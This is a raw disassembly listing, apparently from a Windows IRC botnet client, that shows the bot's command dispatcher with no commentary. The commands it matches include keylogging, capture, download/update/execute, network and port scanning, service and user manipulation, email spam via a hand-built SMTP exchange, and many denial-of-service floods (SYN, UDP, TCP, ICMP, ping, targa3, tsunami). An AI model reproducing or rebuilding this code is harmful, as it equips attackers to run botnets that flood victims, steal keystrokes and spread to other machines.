lea eax, [ebp+4Ch+Dst]
push 2 ; int
push eax ; Source
call sub_40AE85
add esp, 14h
mov esi, eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
push esi
push offset sub_41321D
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_4444FC[esi], eax
jnz loc_40698D
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42E424
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4067EB: ; CODE XREF: sub_40274D+4029j
push [ebp+4Ch+var_8] ; Str2
push offset Str2 ; "off"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_40698D
push ebx
push 2
call sub_40B028
cmp eax, ebx
pop ecx
pop ecx
jle short loc_40681B
push eax
push offset dword_42E3EC
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_40681B: ; CODE XREF: sub_40274D+40C1j
push offset dword_42E3CC
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_406825: ; CODE XREF: sub_40274D+4012j
push edi ; Str2
push offset aKeylog ; "keylog"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_4069C6
push [ebp+4Ch+var_8] ; Str2
push offset aOn ; "on"
call _strcmp
test eax, eax
pop ecx
pop ecx
mov edi, offset aFile ; "file"
jz short loc_40689B
push [ebp+4Ch+var_8] ; Str2
push edi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_40689B
push [ebp+4Ch+var_8] ; Str2
push offset Str2 ; "off"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_40698D
push ebx
push 23h
call sub_40B028
cmp eax, ebx
pop ecx
pop ecx
jle short loc_406891
push eax
push offset dword_42E380
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_406891: ; CODE XREF: sub_40274D+4137j
push offset dword_42E354
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_40689B: ; CODE XREF: sub_40274D+4103j
; sub_40274D+4112j
push 23h
call sub_40B075
test eax, eax
pop ecx
jle short loc_4068B1
push offset dword_42E334
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_4068B1: ; CODE XREF: sub_40274D+4158j
mov eax, [ebp+4Ch+arg_4]
push [ebp+4Ch+var_8] ; Str2
mov [ebp+4Ch+var_C64], eax
mov eax, [ebp+4Ch+var_4]
push edi ; Str1
mov [ebp+4Ch+var_BDC], eax
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4068DE
mov [ebp+4Ch+var_BD8], 1
jmp short loc_4068E7
; ---------------------------------------------------------------------------
loc_4068DE: ; CODE XREF: sub_40274D+4183j
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_BD8], eax
loc_4068E7: ; CODE XREF: sub_40274D+418Fj
mov esi, [ebp+esi+4Ch+Format]
cmp esi, ebx
jnz short loc_406908
push offset byte_42B633 ; Str2
mov esi, offset a_fast__3 ; "#.fast.#"
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406908
mov esi, [ebp+4Ch+Format]
loc_406908: ; CODE XREF: sub_40274D+41A0j
; sub_40274D+41B6j
push esi ; Format
lea eax, [ebp+4Ch+var_C5C]
push 80h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+4Ch+Dst]
push offset asc_42E310 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 23h ; int
push eax ; Source
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_C60], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_C64]
push eax
push offset sub_414BFB
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_C60]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4069BC
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset asc_42E2D4 ; "-"
loc_40697E: ; CODE XREF: sub_40274D+1F36j
; sub_40274D+2CAAj ...
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
loc_40698A: ; CODE XREF: sub_40274D+2C9Fj
; sub_40274D+52ADj
add esp, 0Ch
loc_40698D: ; CODE XREF: sub_40274D+1F4Bj
; sub_40274D+2CDAj ...
cmp [ebp+4Ch+var_C], ebx
jnz loc_408D10
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
loc_4069A7: ; CODE XREF: sub_40274D+628Bj
call sub_40123B
add esp, 14h
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_4069B4: ; CODE XREF: sub_40274D+4275j
push 32h
call ds:dword_42B014 ; Sleep
loc_4069BC: ; CODE XREF: sub_40274D+4223j
cmp [ebp+4Ch+var_BD4], ebx
jz short loc_4069B4
jmp short loc_40698D
; ---------------------------------------------------------------------------
loc_4069C6: ; CODE XREF: sub_40274D+40E7j
push edi ; Str2
push offset aNet ; "net"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_406C82
cmp dword_444274, ebx
jz short loc_4069F5
cmp dword_44429C, ebx
jz short loc_4069F5
push offset unk_42E298
jmp loc_406C3F
; ---------------------------------------------------------------------------
loc_4069F5: ; CODE XREF: sub_40274D+4294j
; sub_40274D+429Cj
cmp [ebp+4Ch+var_18], ebx
jz loc_406C4D
mov edi, [ebp+esi+4Ch+Format]
cmp edi, ebx
mov [ebp+4Ch+arg_0], ebx
jz short loc_406A17
push edi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
pop ecx
pop ecx
mov [ebp+4Ch+arg_0], eax
loc_406A17: ; CODE XREF: sub_40274D+42BAj
push [ebp+4Ch+var_8] ; Str2
push offset aStart ; "start"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406A81
cmp edi, ebx
jz short loc_406A52
push [ebp+4Ch+arg_0]
push 3
loc_406A33: ; CODE XREF: sub_40274D+434Cj
; sub_40274D+4366j ...
call sub_41BF46
push eax
lea eax, [ebp+4Ch+Dst]
push offset aS ; "%s"
push eax ; Dest
call _sprintf
add esp, 14h
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_406A52: ; CODE XREF: sub_40274D+42DFj
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_41B681
add esp, 0Ch
test eax, eax
lea eax, [ebp+4Ch+Dst]
jz short loc_406A77
push offset unk_42E26C
jmp loc_406C45
; ---------------------------------------------------------------------------
loc_406A77: ; CODE XREF: sub_40274D+431Ej
push offset unk_42E24C
jmp loc_406C45
; ---------------------------------------------------------------------------
loc_406A81: ; CODE XREF: sub_40274D+42DBj
push [ebp+4Ch+var_8] ; Str2
push offset aStop ; "stop"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406A9B
push [ebp+4Ch+arg_0]
push 4
jmp short loc_406A33
; ---------------------------------------------------------------------------
loc_406A9B: ; CODE XREF: sub_40274D+4345j
push [ebp+4Ch+var_8] ; Str2
push offset aPause ; "pause"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406AB8
push [ebp+4Ch+arg_0]
push 5
jmp loc_406A33
; ---------------------------------------------------------------------------
loc_406AB8: ; CODE XREF: sub_40274D+435Fj
push [ebp+4Ch+var_8] ; Str2
push offset aContinue ; "continue"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406AD5
push [ebp+4Ch+arg_0]
push 6
jmp loc_406A33
; ---------------------------------------------------------------------------
loc_406AD5: ; CODE XREF: sub_40274D+437Cj
push [ebp+4Ch+var_8] ; Str2
push offset aDelete ; "delete"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406AF2
push [ebp+4Ch+arg_0]
push 1
jmp loc_406A33
; ---------------------------------------------------------------------------
loc_406AF2: ; CODE XREF: sub_40274D+4399j
push [ebp+4Ch+var_8] ; Str2
push offset aShare ; "share"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406B6C
cmp edi, ebx
jz short loc_406B3C
cmp [ebp+4Ch+var_904], bl
jz short loc_406B17
push ebx
push edi
push 1
jmp short loc_406B1D
; ---------------------------------------------------------------------------
loc_406B17: ; CODE XREF: sub_40274D+43C2j
push [ebp+esi+4Ch+var_98] ; int
push edi ; Str
push ebx ; int
loc_406B1D: ; CODE XREF: sub_40274D+43C8j
call sub_41BFBE
push eax
lea eax, [ebp+4Ch+Dst]
push offset aS ; "%s"
push eax ; Dest
call _sprintf
add esp, 18h
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_406B3C: ; CODE XREF: sub_40274D+43BAj
push ebx ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_41C07C
add esp, 10h
test eax, eax
lea eax, [ebp+4Ch+Dst]
jz short loc_406B62
push offset unk_42E204
jmp loc_406C45
; ---------------------------------------------------------------------------
loc_406B62: ; CODE XREF: sub_40274D+4409j
push offset unk_42E1E4
jmp loc_406C45
; ---------------------------------------------------------------------------
loc_406B6C: ; CODE XREF: sub_40274D+43B6j
push [ebp+4Ch+var_8] ; Str2
push offset aUser_0 ; "user"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406BF4
cmp edi, ebx
jz short loc_406BCA
cmp [ebp+4Ch+var_904], bl
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
jz short loc_406B9A
push ebx
push edi
push 1
jmp short loc_406BAB
; ---------------------------------------------------------------------------
loc_406B9A: ; CODE XREF: sub_40274D+4445j
mov esi, [ebp+esi+4Ch+var_98]
cmp esi, ebx
jz short loc_406BA7
push esi
push edi
push ebx
jmp short loc_406BAB
; ---------------------------------------------------------------------------
loc_406BA7: ; CODE XREF: sub_40274D+4453j
push ebx ; int
push edi ; int
push 2 ; int
loc_406BAB: ; CODE XREF: sub_40274D+444Bj
; sub_40274D+4458j
call sub_41C19B
push eax
lea eax, [ebp+4Ch+Dst]
push offset aS ; "%s"
push eax ; Dest
call _sprintf
add esp, 24h
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_406BCA: ; CODE XREF: sub_40274D+4434j
push ebx ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_41C265
add esp, 10h
test eax, eax
lea eax, [ebp+4Ch+Dst]
jz short loc_406BED
push offset unk_42E1C4
jmp short loc_406C45
; ---------------------------------------------------------------------------
loc_406BED: ; CODE XREF: sub_40274D+4497j
push offset unk_42E1A4
jmp short loc_406C45
; ---------------------------------------------------------------------------
loc_406BF4: ; CODE XREF: sub_40274D+4430j
push [ebp+4Ch+var_8] ; Str2
push offset aSend ; "send"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406C3A
cmp edi, ebx
jz short loc_406C33
push [ebp+4Ch+var_4]
push [ebp+4Ch+Format]
push [ebp+4Ch+arg_4]
push [ebp+4Ch+arg_0] ; Source
call sub_41BE8A
push eax
lea eax, [ebp+4Ch+Dst]
push offset aS ; "%s"
push eax ; Dest
call _sprintf
add esp, 1Ch
jmp short loc_406C4D
; ---------------------------------------------------------------------------
loc_406C33: ; CODE XREF: sub_40274D+44BCj
push offset unk_42E180
jmp short loc_406C3F
; ---------------------------------------------------------------------------
loc_406C3A: ; CODE XREF: sub_40274D+44B8j
push offset asc_42E164 ; "-"
loc_406C3F: ; CODE XREF: sub_40274D+2C4Dj
; sub_40274D+42A3j ...
lea eax, [ebp+4Ch+Dst]
loc_406C45: ; CODE XREF: sub_40274D+4325j
; sub_40274D+432Fj ...
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_406C4D: ; CODE XREF: sub_40274D+42ABj
; sub_40274D+4300j ...
cmp [ebp+4Ch+var_C], ebx
jnz short loc_406C6B
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_406C6B: ; CODE XREF: sub_40274D+27A3j
; sub_40274D+27D7j ...
mov esi, [ebp+4Ch+arg_24]
loc_406C6E: ; CODE XREF: sub_40274D+65C6j
; sub_40274D+7503j ...
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
pop ecx
mov eax, esi
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_406C82: ; CODE XREF: sub_40274D+4288j
push edi ; Str2
push offset aCapture ; "capture"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40968E
push edi ; Str2
push offset aCap ; "cap"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40968E
push edi ; Str2
push offset aGethost ; "gethost"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4095B9
push edi ; Str2
push offset aGh ; "gh"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4095B9
loc_406CD6: ; CODE XREF: sub_40274D+39D7j
; sub_40274D+3A06j ...
mov edi, [ebp+esi+4Ch+Format]
cmp edi, ebx
mov [ebp+4Ch+var_20], edi
jz loc_402B92
push [ebp+4Ch+var_10] ; Str2
push offset aKilllog ; "killlog"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40959F
push [ebp+4Ch+var_10] ; Str2
push offset aKl ; "kl"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40959F
push [ebp+4Ch+var_10] ; Str2
push offset aAddalias ; "addalias"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40955E
push [ebp+4Ch+var_10] ; Str2
push offset aAa ; "aa"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40955E
push [ebp+4Ch+var_10] ; Str2
push offset aPrivmsg_0 ; "privmsg"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409504
push [ebp+4Ch+var_10] ; Str2
push offset aPm ; "pm"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409504
push [ebp+4Ch+var_10] ; Str2
push offset aAction ; "action"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409492
push [ebp+4Ch+var_10] ; Str2
push offset aA ; "a"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409492
push [ebp+4Ch+var_10] ; Str2
push offset aCycle ; "cycle"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409434
push [ebp+4Ch+var_10] ; Str2
push offset aCy ; "cy"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409434
push [ebp+4Ch+var_10] ; Str2
push offset aMode ; "mode"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4093FB
push [ebp+4Ch+var_10] ; Str2
push offset aM_0 ; "m"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4093FB
push [ebp+4Ch+var_10] ; Str2
push offset aC_raw ; "c_raw"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40938F
push [ebp+4Ch+var_10] ; Str2
push offset aC_r ; "c_r"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40938F
push [ebp+4Ch+var_10] ; Str2
push offset aC_mode ; "c_mode"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40930C
push [ebp+4Ch+var_10] ; Str2
push offset aC_m ; "c_m"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40930C
push [ebp+4Ch+var_10] ; Str2
push offset aC_nick ; "c_nick"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4092A4
push [ebp+4Ch+var_10] ; Str2
push offset aC_n ; "c_n"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4092A4
push [ebp+4Ch+var_10] ; Str2
push offset aC_join ; "c_join"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409281
push [ebp+4Ch+var_10] ; Str2
push offset aC_j ; "c_j"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409281
push [ebp+4Ch+var_10] ; Str2
push offset aC_part ; "c_part"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409243
push [ebp+4Ch+var_10] ; Str2
push offset aC_p ; "c_p"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409243
push [ebp+4Ch+var_10] ; Str2
push offset aTarga3 ; "targa3"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409151
push [ebp+4Ch+var_10] ; Str2
push offset aT3 ; "t3"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409151
push [ebp+4Ch+var_10] ; Str2
push offset aTsunami ; "tsunami"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409083
push [ebp+4Ch+var_10] ; Str2
push offset aTsn ; "tsn"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409083
push [ebp+4Ch+var_10] ; Str2
push offset aRepeat ; "repeat"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408FCA
push [ebp+4Ch+var_10] ; Str2
push offset aRp ; "rp"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408FCA
push [ebp+4Ch+var_10] ; Str2
push offset aDelay ; "delay"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408F39
push [ebp+4Ch+var_10] ; Str2
push offset aDe ; "de"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408F39
push [ebp+4Ch+var_10] ; Str2
push offset aUpdate ; "update"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408DC3
push [ebp+4Ch+var_10] ; Str2
push offset aUp ; "up"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408DC3
push [ebp+4Ch+var_10] ; Str2
push offset aExecute ; "execute"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408D2A
push [ebp+4Ch+var_10] ; Str2
push offset aE ; "e"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408D2A
push [ebp+4Ch+var_10] ; Str2
push offset aFindfile ; "findfile"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408C21
push [ebp+4Ch+var_10] ; Str2
push offset aFf ; "ff"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408C21
push [ebp+4Ch+var_10] ; Str2
push offset aRename ; "rename"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408BCD
push [ebp+4Ch+var_10] ; Str2
push offset aMv ; "mv"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408BCD
push [ebp+4Ch+var_10] ; Str2
push offset aIcmpflood ; "icmpflood"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408AD6
push [ebp+4Ch+var_10] ; Str2
push offset aIcmp ; "icmp"
call _strcmp
test eax, eax
pop ecx
pop ecx
loc_407077: ; DATA XREF: .data:0043F23Co
; .data:0043F250o ...
jz loc_408AD6
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
mov [ebp+4Ch+arg_0], eax
jz loc_402B92
push [ebp+4Ch+var_10] ; Str2
push offset aClone_0 ; "clone"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4089EF
push [ebp+4Ch+var_10] ; Str2
push offset aC ; "c"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4089EF
push [ebp+4Ch+var_10] ; Str2
push offset aDdos_syn ; "ddos.syn"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4088D6
push [ebp+4Ch+var_10] ; Str2
push offset aDdos_ack ; "ddos.ack"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4088D6
push [ebp+4Ch+var_10] ; Str2
push offset aDdos_random ; "ddos.random"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4088D6
push [ebp+4Ch+var_10] ; Str2
push offset aWisdom_udp ; "wisdom.udp"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_4071DF
push 7Fh
pop esi
push esi ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_3070]
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+4Ch+var_2FF0]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
push [ebp+4Ch+arg_0] ; Source
lea eax, [ebp+4Ch+var_2F70]
push eax ; Dest
call _strncpy
push esi ; Count
push [ebp+4Ch+Format] ; Source
lea eax, [ebp+4Ch+var_2EF0]
push eax ; Dest
call _strncpy
mov eax, [ebp+4Ch+var_C]
mov edi, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push ebx ; int
mov [ebp+4Ch+var_2E68], eax
lea eax, [ebp+4Ch+Dst]
push 13h ; int
push eax ; Source
mov [ebp+4Ch+var_2E6C], edi
mov [ebp+4Ch+var_3074], esi
call sub_40AE85
add esp, 3Ch
mov [ebp+4Ch+var_2E70], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_3074]
push eax
push offset sub_4175F3
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_2E70]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4071D2
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42DFE0
jmp loc_40491A
; ---------------------------------------------------------------------------
loc_4071CA: ; CODE XREF: sub_40274D+4A8Bj
push 32h
call ds:dword_42B014 ; Sleep
loc_4071D2: ; CODE XREF: sub_40274D+4A6Aj
cmp [ebp+4Ch+var_2E64], ebx
jz short loc_4071CA
jmp loc_404929
; ---------------------------------------------------------------------------
loc_4071DF: ; CODE XREF: sub_40274D+49C3j
push [ebp+4Ch+var_10] ; Str2
push offset aSynflood ; "synflood"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4087F2
push [ebp+4Ch+var_10] ; Str2
push offset aSyn ; "syn"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4087F2
push [ebp+4Ch+var_10] ; Str2
push offset aSkysyn ; "skysyn"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_407308
push 7Fh
pop esi
push esi ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_3498]
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+4Ch+var_3418]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
push [ebp+4Ch+arg_0] ; Source
lea eax, [ebp+4Ch+var_3398]
push eax ; Dest
call _strncpy
push esi ; Count
push [ebp+4Ch+Format] ; Source
lea eax, [ebp+4Ch+var_3318]
push eax ; Dest
call _strncpy
push [ebp+4Ch+arg_0]
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_3294], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_3290], eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42DF98 ; "-"
push eax ; Dest
mov [ebp+4Ch+var_349C], esi
call _sprintf
add esp, 44h
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 10h ; int
push eax ; Source
call sub_40AE85
add esp, 0Ch
mov [ebp+4Ch+var_3298], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_349C]
push eax
push offset sub_41640E
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_3298]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4072FB
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42DF5C
jmp loc_4089B1
; ---------------------------------------------------------------------------
loc_4072F3: ; CODE XREF: sub_40274D+4BB4j
push 32h
call ds:dword_42B014 ; Sleep
loc_4072FB: ; CODE XREF: sub_40274D+4B93j
cmp [ebp+4Ch+var_328C], ebx
jz short loc_4072F3
jmp loc_4089C0
; ---------------------------------------------------------------------------
loc_407308: ; CODE XREF: sub_40274D+4AD1j
push [ebp+4Ch+var_10] ; Str2
push offset aPhatwonk ; "phatwonk"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40870E
push [ebp+4Ch+var_10] ; Str2
push offset aWonk ; "wonk"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40870E
push [ebp+4Ch+var_10] ; Str2
push offset aDownload ; "download"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4085D7
push [ebp+4Ch+var_10] ; Str2
push offset aDl ; "dl"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4085D7
push [ebp+4Ch+var_10] ; Str2
push offset aRedirect ; "redirect"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4084E1
push [ebp+4Ch+var_10] ; Str2
push offset aRd ; "rd"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4084E1
push [ebp+4Ch+var_10] ; Str2
push offset aScan_0 ; "scan"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4083F2
push [ebp+4Ch+var_10] ; Str2
push offset aSc ; "sc"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4083F2
push [ebp+4Ch+var_10] ; Str2
push offset aC_privmsg ; "c_privmsg"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4082F0
push [ebp+4Ch+var_10] ; Str2
push offset aC_pm ; "c_pm"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4082F0
push [ebp+4Ch+var_10] ; Str2
push offset aC_action ; "c_action"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4081FB
push [ebp+4Ch+var_10] ; Str2
push offset aC_a ; "c_a"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4081FB
mov eax, [ebp+esi+4Ch+var_94]
cmp eax, ebx
mov [ebp+4Ch+var_14], eax
jz loc_402B92
push [ebp+4Ch+var_10] ; Str2
push offset aPortscan ; "portscan"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4080F9
push [ebp+4Ch+var_10] ; Str2
push offset aPsc ; "psc"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4080F9
push [ebp+4Ch+var_10] ; Str2
push offset aAdvscan ; "advscan"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_407C2E
push [ebp+4Ch+var_10] ; Str2
push offset aAsc ; "asc"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_407C2E
push [ebp+4Ch+var_10] ; Str2
push offset aUdpflood ; "udpflood"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_407B12
push [ebp+4Ch+var_10] ; Str2
push offset aUdp ; "udp"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_407B12
push [ebp+4Ch+var_10] ; Str2
push offset aU ; "u"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_407B12
push [ebp+4Ch+var_10] ; Str2
push offset aNetsend ; "netsend"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4079FF
push [ebp+4Ch+var_10] ; Str2
push offset aNs ; "ns"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4079FF
push [ebp+4Ch+var_10] ; Str2
push offset aPingflood ; "pingflood"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4078DC
push [ebp+4Ch+var_10] ; Str2
push offset aPing_0 ; "ping"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4078DC
push [ebp+4Ch+var_10] ; Str2
push offset aP ; "p"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4078DC
push [ebp+4Ch+var_10] ; Str2
push offset aTcpflood ; "tcpflood"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40773D
push [ebp+4Ch+var_10] ; Str2
push offset aTcp ; "tcp"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40773D
push [ebp+4Ch+var_10] ; Str2
push offset aEmail ; "email"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_4076E8
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_47F4]
push eax ; Dest
call _strcpy
push edi ; Str
call j__atol
push [ebp+4Ch+arg_0] ; Source
mov [ebp+4Ch+var_20], eax
lea eax, [ebp+4Ch+var_4090]
push eax ; Dest
call _strcpy
push [ebp+4Ch+var_14] ; Source
lea eax, [ebp+4Ch+var_4390]
push eax ; Dest
call _strcpy
push offset asc_42FE58 ; " "
push offset a_ ; "_"
push [ebp+esi+4Ch+var_90] ; Dest
call sub_41AB7D
push eax ; Source
lea eax, [ebp+4Ch+var_4290]
push eax ; Dest
call _strcpy
add esp, 30h
lea eax, [ebp+4Ch+var_5590]
push eax
push 101h
call dword_444110 ; WSAStartup
lea eax, [ebp+4Ch+var_47F4]
push eax
call dword_444168 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_444100 ; socket
push [ebp+4Ch+var_20]
mov esi, eax
mov [ebp+4Ch+var_324], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+4Ch+var_320], eax
call dword_444260 ; htons
mov [ebp+4Ch+var_322], ax
lea eax, [ebp+4Ch+var_4290]
push eax
lea eax, [ebp+4Ch+var_4090]
push eax
lea eax, [ebp+4Ch+var_4290]
push eax
lea eax, [ebp+4Ch+var_4390]
push eax
lea eax, [ebp+4Ch+var_4090]
push eax
lea eax, [ebp+4Ch+var_5990]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax ; Dest
call _sprintf
add esp, 1Ch
push 10h
lea eax, [ebp+4Ch+var_324]
push eax
push esi
call dword_4440AC ; connect
push ebx
mov edi, 100h
push edi
